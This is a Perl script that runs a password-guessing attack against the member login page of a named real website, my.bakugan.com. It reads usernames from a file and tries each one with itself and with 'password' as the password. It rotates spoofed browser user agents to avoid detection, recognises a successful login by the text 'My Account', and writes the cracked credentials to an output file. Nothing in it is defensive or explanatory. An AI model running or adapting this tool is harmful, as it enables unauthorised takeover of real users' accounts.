#!/usr/bin/perl -w use strict; use LWP::UserAgent; use List::Util 'shuffle'; use Term::ANSIColor qw(:constants); $Term::ANSIColor::AUTORESET = 1; my @agents = ( 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)', 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.10', ); # Open, slurp and shuffle open my $in, '<', "users.txt" or die "Can't open users.txt: $!"; my @users = <$in>; close $in; my @rand_users = shuffle(@users); open my $out, '>>', "output.txt" or die "Can't open output.txt: $!"; # Non-buffered I/O { my $old = select $out; $| = 1; select $old; } # Do work foreach my $user (@rand_users) { chomp($user); my $browser = LWP::UserAgent->new; my $rand = int( rand(8) ); $browser->agent("$agents[$rand]"); foreach my $pass ( "$user", "password" ) { my $response = $browser->post( 'http://my.bakugan.com/member.php', [ "relocate" => "/index.php", "ID" => "$user", "Password" => "$pass", ], ); die "Error: ", $response->status_line unless $response->is_success; # Debug post #my $output = $response->content; #print $output; if ($response->content =~ /My Account/) { print GREEN "WIN "; print "$user->$pass\n"; print $out "$user->$pass\n"; sleep 1; last; } else { print RED "FAIL "; print "$user->$pass\n"; sleep 1; } } # Debug user agent #print "$agents[$rand]\n"; }